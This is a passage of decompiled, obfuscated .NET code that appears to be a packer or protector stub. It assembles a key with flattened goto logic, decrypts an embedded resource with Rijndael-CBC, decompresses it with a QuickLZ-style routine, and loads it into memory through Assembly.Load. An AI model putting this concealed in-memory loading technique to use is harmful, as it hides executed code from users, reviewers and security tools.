goto label_21;
label_198:
YbbxknoBYLxEOxk0Pn.wgwDwA8ohM5msjfHGT((object) cryptoStream);
num1 = 18;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_138;
else
goto label_22;
label_199:
numArray1[21] = (byte) num3;
num5 = 267;
goto label_21;
label_200:
num3 = 73 + 52;
num1 = 222;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_165;
else
goto label_22;
label_203:
numArray1[10] = (byte) (137 - 92);
num5 = 25;
goto label_21;
label_204:
num3 = 230 - 76;
num5 = 45;
goto label_21;
label_206:
numArray1[18] = (byte) num3;
num5 = 303;
goto label_21;
label_207:
num3 = 79 + 10;
num1 = 319;
goto label_22;
label_208:
numArray1[21] = (byte) (79 + 71);
num5 = 275;
goto label_21;
label_211:
numArray1[13] = (byte) (248 - 82);
num1 = 140;
goto label_22;
label_219:
byte[] numArray6 = (byte[]) YbbxknoBYLxEOxk0Pn.\u0031q1Ytpay3HDTvk0H9h((object) binaryReader, (int) YbbxknoBYLxEOxk0Pn.ixBAQJTGfCYrqbKeEu(YbbxknoBYLxEOxk0Pn.\u0034HtC5nv8XcO9RgF2J4((object) binaryReader)));
num5 = 215;
goto label_21;
label_220:
numArray1[31] = (byte) num3;
num1 = 117;
if (true)
goto label_22;
label_221:
numArray2[2] = (byte) num4;
num5 = 206;
goto label_21;
label_222:
numArray1[31] = (byte) num3;
num5 = 282;
goto label_21;
label_224:
numArray2[14] = (byte) (96 - 59);
num1 = 167;
if (true)
goto label_22;
label_225:
numArray2[14] = (byte) (244 - 81);
num5 = 134;
goto label_21;
label_226:
numArray2[1] = (byte) num4;
num1 = 328;
goto label_22;
label_227:
num4 = 214 - 71;
num5 = 82;
goto label_21;
label_230:
numArray1[29] = (byte) num3;
num1 = 231;
if (true)
goto label_22;
label_231:
numArray1[14] = (byte) (134 - 44);
num1 = 38;
goto label_22;
label_235:
num4 = 147 - 49;
num5 = 272;
goto label_21;
label_236:
YbbxknoBYLxEOxk0Pn.d5bSH3LxyKFU3Kg4tt((object) rijndaelManaged, CipherMode.CBC);
num5 = 49;
goto label_21;
label_237:
numArray2[14] = (byte) (168 - 56);
num1 = 218;
goto label_22;
label_240:
numArray1[0] = (byte) (165 - 55);
num1 = 75;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_141;
else
goto label_22;
label_241:
numArray1[22] = (byte) num3;
num1 = 86;
goto label_22;
label_242:
numArray1[0] = (byte) num3;
num5 = 147;
goto label_21;
label_243:
numArray1[15] = (byte) num3;
num5 = 22;
goto label_21;
label_244:
numArray2[6] = (byte) (33 + 105);
num1 = 154;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_122;
else
goto label_22;
label_245:
numArray2[9] = (byte) (88 + 62);
num5 = 62;
goto label_21;
label_249:
numArray1[26] = (byte) (202 - 124);
num5 = 66;
goto label_21;
label_250:
YbbxknoBYLxEOxk0Pn.t9BlppiIr5xtEoYSCx((object) cryptoStream, (object) numArray6, 0, numArray6.Length);
num1 = 106;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_203;
else
goto label_22;
label_251:
numArray1[13] = (byte) (167 - 55);
num1 = 315;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_3;
else
goto label_22;
label_254:
numArray1[6] = (byte) (63 + 28);
num1 = 69;
goto label_22;
label_255:
numArray2[8] = (byte) num4;
num1 = 119;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_133;
else
goto label_22;
label_257:
num4 = 100 + 16;
num1 = 23;
if (true)
goto label_22;
label_258:
num4 = 217 - 72;
num1 = 347;
if (true)
goto label_22;
label_259:
numArray2[4] = (byte) (109 + 16);
num1 = 113;
if (true)
goto label_22;
label_260:
numArray1[14] = (byte) (174 + 11);
num1 = 223;
goto label_22;
label_261:
// ISSUE: type reference
binaryReader = new BinaryReader((Stream) YbbxknoBYLxEOxk0Pn.cIPpt1Fk5Y668kqFc2((object) YbbxknoBYLxEOxk0Pn.\u0036VN2YS9bmjHJ0MIncu(__typeref (tcJNIpeNWph4hwAAuQ)).Assembly, (object) tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1094)));
num1 = 292;
goto label_22;
label_262:
numArray1[10] = (byte) (67 + 97);
num1 = 330;
if (true)
goto label_22;
label_263:
numArray1[9] = (byte) (155 - 51);
num1 = 176;
goto label_22;
label_265:
numArray2[13] = (byte) (72 + 111);
num5 = 6;
goto label_21;
label_266:
numArray5 = (byte[]) YbbxknoBYLxEOxk0Pn.BmkCyFHHIL76VHldY6((object) memoryStream);
num1 = 90;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_95;
else
goto label_22;
label_267:
numArray1[3] = (byte) num3;
num1 = 118;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
label_268:
numArray1[10] = (byte) num3;
num1 = 116;
goto label_22;
label_269:
numArray1[31] = (byte) (28 + 104);
num1 = 230;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_275;
else
goto label_22;
label_270:
numArray1[13] = (byte) num3;
num5 = 17;
goto label_21;
label_271:
numArray2[1] = (byte) num4;
num5 = 225;
goto label_21;
label_272:
num3 = 89 + 90;
num1 = 342;
if (true)
goto label_22;
label_273:
num3 = 74 + 5;
num1 = 85;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_260;
else
goto label_22;
label_275:
numArray2[2] = (byte) num4;
num1 = 203;
if (true)
goto label_22;
label_276:
numArray2[2] = (byte) (86 + 73);
num1 = 340;
goto label_22;
label_277:
numArray1[14] = (byte) (71 + 3);
num5 = 213;
goto label_21;
label_278:
numArray2[5] = (byte) num4;
num1 = 54;
goto label_22;
label_283:
YbbxknoBYLxEOxk0Pn.CrrWHqcsx50TSKJvuh(YbbxknoBYLxEOxk0Pn.\u0034HtC5nv8XcO9RgF2J4((object) binaryReader), 0L);
num1 = 258;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_261;
else
goto label_22;
label_284:
numArray1[2] = (byte) (133 - 118);
num5 = 107;
goto label_21;
label_286:
num3 = 35 + 67;
num1 = 266;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_268;
else
goto label_22;
label_288:
num3 = 235 - 78;
num1 = 287;
if (true)
goto label_22;
label_289:
num3 = 164 - 54;
num5 = 219;
goto label_21;
label_291:
numArray1[17] = (byte) (91 + 68);
num5 = 143;
goto label_21;
label_292:
numArray4 = numArray1;
num5 = 0;
goto label_21;
label_294:
numArray1[24] = (byte) (168 - 56);
num1 = 268;
if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_270;
else
goto label_22;
label_295:
numArray2[12] = (byte) num4;
num5 = 180;
goto label_21;
label_297:
numArray1[1] = (byte) num3;
num1 = 331;
goto label_22;
label_301:
num3 = 173 - 57;
num5 = 145;
goto label_21;
label_302:
numArray2[5] = (byte) (87 + 76);
num1 = 293;
if (true)
goto label_22;
label_303:
numArray1[7] = (byte) (234 - 78);
num1 = 334;
if (true)
goto label_22;
label_304:
numArray2[4] = (byte) (31 + 88);
num5 = 37;
goto label_21;
label_305:
numArray2[4] = (byte) (81 + 94);
num5 = 228;
goto label_21;
label_306:
numArray1[2] = (byte) num3;
num5 = 35;
goto label_21;
label_308:
numArray2[1] = (byte) (214 - 71);
num1 = 151;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_241;
else
goto label_22;
label_311:
num3 = 105 + 6;
num1 = 224;
goto label_22;
label_315:
numArray1[7] = (byte) num3;
num5 = 244;
goto label_21;
label_320:
numArray1[1] = (byte) num3;
num1 = 177;
goto label_22;
label_322:
numArray2[15] = (byte) num4;
num5 = 242;
goto label_21;
label_323:
num4 = 41 + 3;
num5 = 270;
goto label_21;
label_324:
numArray2[11] = (byte) num4;
num5 = 199;
goto label_21;
label_325:
num3 = 61 + 67;
num1 = 20;
goto label_22;
label_328:
numArray1[18] = (byte) (70 + 100);
num1 = 254;
if (true)
goto label_22;
label_329:
num3 = 230 - 76;
num5 = 30;
goto label_21;
label_333:
num3 = 102 + 71;
num1 = 150;
goto label_22;
label_335:
numArray2[13] = (byte) (103 + 4);
num1 = 241;
if (true)
goto label_22;
label_336:
numArray1[8] = (byte) num3;
num1 = 33;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_352;
else
goto label_22;
label_337:
numArray1[15] = (byte) (165 + 21);
num1 = 194;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
label_338:
numArray2[5] = (byte) (75 + 60);
num5 = 205;
goto label_21;
label_340:
numArray1[28] = (byte) (109 + 11);
num5 = 344;
goto label_21;
label_342:
num1 = 337;
if (true)
goto label_22;
label_343:
num4 = 179 - 59;
num1 = 193;
goto label_22;
label_344:
numArray2[8] = (byte) (155 - 51);
num1 = 311;
if (true)
goto label_22;
label_345:
numArray1[1] = (byte) (69 - 10);
num1 = 188;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
label_346:
numArray1[3] = (byte) (244 - 81);
num1 = 123;
if (true)
goto label_22;
label_347:
numArray2[8] = (byte) (105 + 110);
num1 = 248;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
label_348:
numArray2[12] = (byte) num4;
num5 = 240;
goto label_21;
label_349:
numArray2[7] = (byte) (18 + 60);
num5 = 280;
goto label_21;
label_350:
numArray1[16] = (byte) num3;
num5 = 152;
goto label_21;
label_351:
num3 = 105 + 78;
num1 = 295;
if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_305;
else
goto label_22;
label_352:
num3 = 170 - 56;
num1 = 323;
if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
goto label_22;
label_353:
num3 = 4 + 111;
num1 = 7;
if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
goto label_22;
label_354:
numArray1[20] = (byte) (2 + 95);
num1 = 249;
goto label_22;
label_355:
return (Assembly) null;
label_357:
rijndaelManaged = new RijndaelManaged();
num1 = 84;
if (true)
goto label_22;
else
goto label_302;
}
[MethodImpl(MethodImplOptions.NoInlining)]
public YbbxknoBYLxEOxk0Pn() => AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(YbbxknoBYLxEOxk0Pn.Uj1VGPQhn);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void kLjw4iIsCLsZtxc4lksN0j()
{
if (YbbxknoBYLxEOxk0Pn.fTu8VEKSg)
return;
YbbxknoBYLxEOxk0Pn.fTu8VEKSg = true;
if (Environment.GetEnvironmentVariable(tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1170)) == tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1214))
return;
YbbxknoBYLxEOxk0Pn ybbxknoByLxEoxk0Pn = new YbbxknoBYLxEOxk0Pn();
}
[MethodImpl(MethodImplOptions.NoInlining)]
static YbbxknoBYLxEOxk0Pn()
{
}
[MethodImpl(MethodImplOptions.NoInlining)]
internal static Type \u0036VN2YS9bmjHJ0MIncu([In] RuntimeTypeHandle obj0) => Type.GetTypeFromHandle(obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object cIPpt1Fk5Y668kqFc2([In] object obj0, [In] object obj1) => (object) ((Assembly) obj0).GetManifestResourceStream((string) obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0034HtC5nv8XcO9RgF2J4([In] object obj0) => (object) ((BinaryReader) obj0).BaseStream;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void CrrWHqcsx50TSKJvuh([In] object obj0, [In] long obj1) => ((Stream) obj0).Position = obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static long ixBAQJTGfCYrqbKeEu([In] object obj0) => ((Stream) obj0).Length;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object \u0031q1Ytpay3HDTvk0H9h([In] object obj0, [In] int obj1) => (object) ((BinaryReader) obj0).ReadBytes(obj1);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void d5bSH3LxyKFU3Kg4tt([In] object obj0, [In] CipherMode obj1) => ((SymmetricAlgorithm) obj0).Mode = obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object LKX4l47Yoj2lWp0hqh([In] object obj0, [In] object obj1, [In] object obj2) => (object) ((SymmetricAlgorithm) obj0).CreateDecryptor((byte[]) obj1, (byte[]) obj2);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void t9BlppiIr5xtEoYSCx([In] object obj0, [In] object obj1, [In] int obj2, [In] int obj3) => ((Stream) obj0).Write((byte[]) obj1, obj2, obj3);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void wgwDwA8ohM5msjfHGT([In] object obj0) => ((CryptoStream) obj0).FlushFinalBlock();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object BmkCyFHHIL76VHldY6([In] object obj0) => (object) ((MemoryStream) obj0).ToArray();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void UAiUy9DbJPvrtDfaYG([In] object obj0) => ((Stream) obj0).Close();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static void EdMogJK23C5V2STpQS([In] object obj0) => ((BinaryReader) obj0).Close();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object qiaGIPMaalUqZ3sMZf([In] object obj0) => (object) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.PMFLr6jcg((byte[]) obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object ms7UFSxhLDM3n3ktTf([In] object obj0) => (object) Assembly.Load((byte[]) obj0);
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object e8PiFxteCyHSGi0LgY([In] object obj0) => (object) ((Assembly) obj0).GetManifestResourceNames();
[MethodImpl(MethodImplOptions.NoInlining)]
internal static object WS6tAn0RW8Hurp1Xwj([In] object obj0) => (object) ((ResolveEventArgs) obj0).Name;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool tRIQC2fXT7g74mWlkL([In] object obj0, [In] object obj1) => (string) obj0 == (string) obj1;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool GTJgvmVEjrh4CCn7N6() => true;
[MethodImpl(MethodImplOptions.NoInlining)]
internal static bool \u0035nPOsTBkhnyaq7ApAB() => false;
private enum fFQvZdvdBStoltwFwV
{
}
internal class P65q5rcw0MukklQaVB
{
[MethodImpl(MethodImplOptions.NoInlining)]
private static unsafe uint Uj1VGPQhn([In] void* obj0, [In] uint obj1)
{
uint num = 0;
if (BitConverter.IsLittleEndian)
{
num = *(uint*) obj0;
}
else
{
byte* numPtr = (byte*) obj0;
switch (obj1)
{
case 1:
num = (uint) *numPtr;
break;
case 2:
num = (uint) *numPtr | (uint) numPtr[1] << 8;
break;
case 3:
num = (uint) ((int) *numPtr | (int) numPtr[1] << 8 | (int) numPtr[2] << 16);
break;
case 4:
num = (uint) ((int) *numPtr | (int) numPtr[1] << 8 | (int) numPtr[2] << 16 | (int) numPtr[3] << 24);
break;
}
}
return num;
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static unsafe void reWBsatke([In] uint obj0, [In] void* obj1, [In] uint obj2)
{
if (BitConverter.IsLittleEndian)
{
switch (obj2)
{
case 1:
*(sbyte*) obj1 = (sbyte) (byte) obj0;
break;
case 2:
case 3:
case 4:
*(int*) obj1 = (int) obj0;
break;
}
}
else
{
byte* numPtr = (byte*) obj1;
switch (obj2)
{
case 1:
*numPtr = (byte) obj0;
break;
case 2:
*numPtr = (byte) obj0;
numPtr[1] = (byte) (obj0 >> 8);
break;
case 3:
*numPtr = (byte) obj0;
numPtr[1] = (byte) (obj0 >> 8);
numPtr[2] = (byte) (obj0 >> 16);
break;
case 4:
*numPtr = (byte) obj0;
numPtr[1] = (byte) (obj0 >> 8);
numPtr[2] = (byte) (obj0 >> 16);
numPtr[3] = (byte) (obj0 >> 24);
break;
}
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static unsafe bool \u0039ML9lo6tT([In] void* obj0, [In] void* obj1, [In] uint obj2)
{
bool flag = true;
for (uint index = 0; flag && index < obj2; ++index)
flag = (int) *(byte*) ((IntPtr) obj0 + (int) index) == (int) *(byte*) ((IntPtr) obj1 + (int) index);
return flag;
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static unsafe bool fTu8VEKSg([In] void* obj0, [In] string obj1)
{
byte[] bytes = Encoding.ASCII.GetBytes(obj1);
fixed (byte* numPtr = bytes)
return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039ML9lo6tT(obj0, (void*) numPtr, (uint) bytes.Length);
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static unsafe void HnbvO3JPm([In] void* obj0, [In] byte obj1, [In] uint obj2)
{
for (uint index = 0; index < obj2; ++index)
*(sbyte*) ((IntPtr) obj0 + (int) index) = (sbyte) obj1;
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static unsafe void \u0031aAAcYcfl([In] void* obj0, [In] void* obj1, [In] uint obj2)
{
for (uint index = 0; index < obj2; ++index)
*(sbyte*) ((IntPtr) obj0 + (int) index) = (sbyte) *(byte*) ((IntPtr) obj1 + (int) index);
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static unsafe void \u0039igTocIex([In] void* obj0, [In] string obj1)
{
byte[] bytes = Encoding.ASCII.GetBytes(obj1);
fixed (byte* numPtr = bytes)
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl(obj0, (void*) numPtr, (uint) bytes.Length);
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static unsafe void pnx70C29O([In] byte* obj0, [In] byte* obj1, [In] uint obj2)
{
if (BitConverter.IsLittleEndian)
{
if (obj2 < 5U)
{
*(int*) obj0 = (int) *(uint*) obj1;
}
else
{
byte* numPtr = obj0 + (int) obj2;
while (obj0 < numPtr)
{
*(int*) obj0 = (int) *(uint*) obj1;
obj0 += 4;
obj1 += 4;
}
}
}
else if (obj2 > 8U && obj1 + (int) obj2 < obj0)
{
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) obj0, (void*) obj1, obj2);
}
else
{
byte* numPtr = obj0 + (int) obj2;
while (obj0 < numPtr)
{
*obj0 = *obj1;
++obj0;
++obj1;
}
}
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static unsafe uint UM3hfdlP3(
[In] byte[] obj0,
[In] uint obj1,
[In] YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV obj2)
{
uint num = 0;
fixed (byte* numPtr = obj0)
{
if (YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.fTu8VEKSg((void*) (numPtr + (int) obj1), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1220)))
num = *(uint*) (numPtr + (int) obj1 + ((IntPtr) obj2 * 4).ToInt64());
}
return num;
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static uint yGrGFt2Ng([In] byte[] obj0) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.UM3hfdlP3(obj0, 0U, (YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV) 2);
[MethodImpl(MethodImplOptions.NoInlining)]
public static uint \u0034J3iGuO2D([In] byte[] obj0, [In] uint obj1) => YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.UM3hfdlP3(obj0, obj1, (YbbxknoBYLxEOxk0Pn.fFQvZdvdBStoltwFwV) 3);
[MethodImpl(MethodImplOptions.NoInlining)]
private static unsafe uint YPoCMoGHZ([In] byte[] obj0, [In] uint obj1, [In] byte[] obj2, [In] uint obj3)
{
fixed (byte* numPtr1 = obj0)
fixed (byte* numPtr2 = obj2)
{
byte* numPtr3 = numPtr1 + (int) obj1;
uint num1 = 32;
byte* numPtr4 = numPtr3 + (int) obj3 - 1;
byte* numPtr5 = numPtr3 + 1;
byte** numPtr6 = (byte**) (numPtr2 + (int) obj3 + 36000 - ((IntPtr) sizeof (byte*) * 4096).ToInt64() - (long) (numPtr2 + (int) obj3) % 8L);
byte* numPtr7 = numPtr2 + (int) num1;
byte* numPtr8 = numPtr2 + (int) num1 + 4 + 1;
byte* numPtr9 = numPtr8;
byte* numPtr10 = numPtr5;
uint num2 = 1073741824;
uint* numPtr11 = (uint*) numPtr2;
byte* numPtr12 = numPtr4 - 16;
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) numPtr11, tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1232));
numPtr2[0] = (byte) 81;
numPtr2[1] = (byte) 67;
numPtr2[2] = (byte) 76;
numPtr2[3] = (byte) 90;
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(3U, (void*) (numPtr11 + 1), 4U);
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(obj3, (void*) (numPtr11 + 3), 4U);
for (uint index = 0; index < 4096U; ++index)
*(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) index * (long) sizeof (byte*))) = (IntPtr) numPtr3;
(numPtr2 + (int) num1)[4] = *numPtr3;
while (numPtr5 < numPtr12 - 2050)
{
if (((int) num2 & 1) == 1)
{
if (numPtr8 + 2050 + 128 > numPtr2 + (int) obj3 + 2050 + 256)
{
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0031aAAcYcfl((void*) (numPtr2 + (int) num1), (void*) numPtr3, obj3);
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(0U, (void*) (numPtr11 + 4), 4U);
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) obj3 + (int) num1 + 4), (void*) (numPtr11 + 2), 4U);
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) (numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1244));
return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U);
}
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((ulong) (num2 >> 1) | 18446744071562067968UL), (void*) numPtr7, 4U);
numPtr7 = numPtr8;
numPtr8 += 4;
num2 = 2147483648U;
if (numPtr8 - numPtr9 > numPtr5 - numPtr10 && numPtr5 + 4100 < numPtr12)
{
for (; numPtr5 < numPtr10 + 2050 - 32; numPtr5 += 31)
{
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(2147483648U, (void*) (numPtr8 - 4), 4U);
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.pnx70C29O(numPtr8, numPtr5, 31U);
numPtr8 += 35;
}
numPtr10 = numPtr5;
numPtr9 = numPtr8;
numPtr7 = numPtr8 - 4;
}
}
if ((int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U) == (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr5 + 1), 4U))
{
uint num3 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U);
byte* numPtr13 = numPtr5;
numPtr5 += 5;
while ((int) num3 == (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U) && numPtr5 < numPtr13 + 2050 - 4)
numPtr5 += 4;
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) (((int) num3 & (int) byte.MaxValue) << 16 | (int) (uint) ((ulong) (numPtr5 - numPtr13) << 4) | 15), (void*) numPtr8, 4U);
numPtr8 += 3;
num2 = num2 >> 1 | 2147483648U;
}
else
{
uint num4 = YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) numPtr5, 4U);
uint num5 = (uint) (((int) (num4 >> 12) ^ (int) num4) & 4095);
byte* numPtr14 = (byte*) *(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) num5 * (long) sizeof (byte*)));
*(IntPtr*) ((IntPtr) numPtr6 + (IntPtr) ((long) num5 * (long) sizeof (byte*))) = (IntPtr) numPtr5;
if (!BitConverter.IsLittleEndian ? numPtr5 - numPtr14 <= 131071L && numPtr5 - numPtr14 > 3L && (int) *numPtr5 == (int) *numPtr14 && (int) numPtr5[1] == (int) numPtr14[1] && (int) numPtr5[2] == (int) numPtr14[2] : numPtr5 - numPtr14 <= 131071L && numPtr5 - numPtr14 > 3L && (((int) *(uint*) numPtr14 ^ (int) *(uint*) numPtr5) & 16777215) == 0)
{
uint num6 = (uint) (numPtr5 - numPtr14);
if (!BitConverter.IsLittleEndian ? (int) numPtr14[3] != (int) numPtr5[3] : (int) *(uint*) numPtr14 != (int) *(uint*) numPtr5)
{
if (num6 <= 63U)
{
*numPtr8 = (byte) (num6 << 2);
++numPtr8;
num2 = num2 >> 1 | 2147483648U;
numPtr5 += 3;
}
else if (num6 <= 16383U)
{
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) num6 << 2 | 1), (void*) numPtr8, 2U);
numPtr8 += 2;
num2 = num2 >> 1 | 2147483648U;
numPtr5 += 3;
}
else
{
*numPtr8 = *numPtr5;
++numPtr8;
++numPtr5;
num2 >>= 1;
}
}
else
{
num2 = num2 >> 1 | 2147483648U;
uint index = 3;
while ((int) numPtr14[(int) index] == (int) numPtr5[(int) index] && index < 2050U)
++index;
numPtr5 += (int) index;
if (index <= 18U && num6 <= 1023U)
{
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 2 | (int) num6 << 6 | 2), (void*) numPtr8, 2U);
numPtr8 += 2;
}
else if (index <= 34U && num6 <= (uint) ushort.MaxValue)
{
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 3 | (int) num6 << 8 | 3), (void*) numPtr8, 3U);
numPtr8 += 3;
}
else if (index >= 3U)
{
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((int) index - 3 << 4 | (int) num6 << 15 | 7), (void*) numPtr8, 4U);
numPtr8 += 4;
}
}
}
else
{
*numPtr8 = *numPtr5;
++numPtr8;
++numPtr5;
num2 >>= 1;
}
}
}
while (numPtr5 <= numPtr4)
{
if (((int) num2 & 1) == 1)
{
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(num2 >> 1 | 2147483648U, (void*) numPtr7, 4U);
numPtr7 = numPtr8;
numPtr8 += 4;
num2 = 2147483648U;
}
*numPtr8 = *numPtr5;
++numPtr8;
++numPtr5;
num2 >>= 1;
}
while (((int) num2 & 1) != 1)
num2 >>= 1;
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(num2 >> 1 | 2147483648U, (void*) numPtr7, 4U);
byte* numPtr15 = numPtr8 + 4;
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke(1U, (void*) (numPtr11 + 4), 4U);
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.reWBsatke((uint) ((ulong) (numPtr15 - numPtr2) - 1UL + 4UL), (void*) (numPtr11 + 2), 4U);
YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.\u0039igTocIex((void*) (numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr11 + 2), 4U) - 4), tcJNIpeNWph4hwAAuQ.Uj1VGPQhn(1256));
}
return YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.yGrGFt2Ng(obj2);
}
[MethodImpl(MethodImplOptions.NoInlining)]
private static unsafe uint oEv1kgedQ([In] byte[] obj0, [In] uint obj1, [In] byte[] obj2)
{
fixed (byte* numPtr1 = obj0)
fixed (byte* numPtr2 = obj2)
{
byte* numPtr3 = numPtr1 + (int) obj1;
uint num1 = 32;
byte* numPtr4 = numPtr3 + (int) num1;
byte* numPtr5 = numPtr2;
uint* numPtr6 = (uint*) numPtr3;
byte* numPtr7 = numPtr2 + (int) YbbxknoBYLxEOxk0Pn.P65q5rcw0MukklQaVB.Uj1VGPQhn((void*) (numPtr6 + 3), 4U);
uint num2 = 1;
uint[] numArray = new uint[16]
{
4U,
0U,
1U,
0U,
2U,
0U,
1U,
0U,
3U,
0U,
1U,
0U,
2U,
0U,
1U,
0U
};
byte* numPtr8 = numPtr7 - 4;
